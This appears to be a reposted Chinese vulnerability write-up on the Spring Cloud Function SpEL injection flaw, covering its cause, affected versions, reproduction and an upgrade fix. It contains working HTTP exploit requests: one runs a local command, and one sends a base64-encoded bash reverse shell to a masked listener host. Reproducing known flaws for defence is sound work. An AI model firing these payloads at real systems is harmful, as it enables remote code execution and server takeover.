当前位置: 首页 > news >正文

关于Spring Cloud 表达式注入漏洞——分析复现

更多漏洞分析复现,可前往无问社区查看icon-default.png?t=O83Ahttp://www.wwlib.cn/index.php/artread/artid/5175.html
一、漏洞成因

近期,Spring Cloud官方发布了一则安全公告,修复了一个Spring Cloud Function中的 SPEL表达式注入漏洞。该漏洞是由于Spring Cloud Function中RoutingFunction类的 apply方法将请求头中spring.cloud.function.routing-expression传入的参数值作为SPEL表达式进行处理,攻击者可以通过构造恶意的语句来实现SPEL表达式注入漏洞。

影响版本

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

二、漏洞复现

1、 本地搭建

利用编译好的环境进行本地复现,下载地址:https://github.com/Pizz33/Spring-Cloud-Function-SpEL

图片

图片

POC:

POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: 
T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded
Content-Length: 4test

图片

1、 在线环境反弹shell

vulfocus在线环境反弹shell:http://vulfocus.io/

图片

反弹Shell POC

POST /functionRouter HTTP/1.1
Host: 123.58.236.76:64443
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
spring.cloud.function.routing-expression: 
T(java.lang.Runtime).getRuntime().exec("bash -c 
{echo,YmFzaCAtaSA+Ji9kZXYvdGNwL3h4Lnh4Lnh4Lnh4LzY2NjYgMD4mMQo=}|
{base64,-d}|{bash,-i}")
Connection: close
Content-Length: 8
test

vps上进行端口监听

图片

执行POC后,vps上收到了弹回的shell

图片

三、修复方案

升级安全版本

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Pyspark下操作dataframe方法(1)
  • activiti学习第一步
  • MySQL数据库 — Explain命令
  • 我的IP地址经常变化对我的账号安全有影响吗?
  • [前端][HTML]<a>标签中href=“javascript:;“表示什么意思
  • git删除本地分支报错:error: the branch ‘xxx‘ is not fully merged
  • 现在有一台ubuntu22.04 的工作站机器,现在想通过RDP的方式进行远程开发
  • 从零开始一步一步搭建 Vue3 + Webpack5 项目脚手架指南
  • Java中实现消息告警推送的几种方式
  • CCF推荐C类会议和期刊总结:(计算机网络领域)
  • 2024.9.12 Python 累加数,子串操作,分割回文串,长度最小的子数组,整数拆分
  • 掌握Hive函数[2]:从基础到高级应用
  • 深入理解.NET 中的 Task 和 Task.WhenAll
  • RTR_Chapter_4_上半部分
  • 组播 2024 9 11
  • [分享]iOS开发-关于在xcode中引用文件夹右边出现问号的解决办法
  • 07.Android之多媒体问题
  • 2017年终总结、随想
  • 2019.2.20 c++ 知识梳理
  • CAP 一致性协议及应用解析
  • CSS3 变换
  • Java的Interrupt与线程中断
  • Js基础知识(四) - js运行原理与机制
  • js面向对象
  • js正则,这点儿就够用了
  • Leetcode 27 Remove Element
  • Node 版本管理
  • Python 反序列化安全问题(二)
  • SpiderData 2019年2月16日 DApp数据排行榜
  • VirtualBox 安装过程中出现 Running VMs found 错误的解决过程
  • 阿里云购买磁盘后挂载
  • 容器服务kubernetes弹性伸缩高级用法
  • 源码之下无秘密 ── 做最好的 Netty 源码分析教程
  • ###51单片机学习(1)-----单片机烧录软件的使用,以及如何建立一个工程项目
  • #70结构体案例1(导师,学生,成绩)
  • (06)Hive——正则表达式
  • (5)STL算法之复制
  • (6)STL算法之转换
  • (C#)一个最简单的链表类
  • (二)Kafka离线安装 - Zookeeper下载及安装
  • (附源码)spring boot火车票售卖系统 毕业设计 211004
  • (十六)Flask之蓝图
  • (转)mysql使用Navicat 导出和导入数据库
  • (转载)Linux网络编程入门
  • ******IT公司面试题汇总+优秀技术博客汇总
  • ****三次握手和四次挥手
  • .NET Core工程编译事件$(TargetDir)变量为空引发的思考
  • .NET DataGridView数据绑定说明
  • .Net 高效开发之不可错过的实用工具
  • .NET 某和OA办公系统全局绕过漏洞分析
  • .net6Api后台+uniapp导出Excel
  • .net与java建立WebService再互相调用
  • @Bean, @Component, @Configuration简析
  • @RequestBody与@RequestParam
  • [ C++ ] STL---仿函数与priority_queue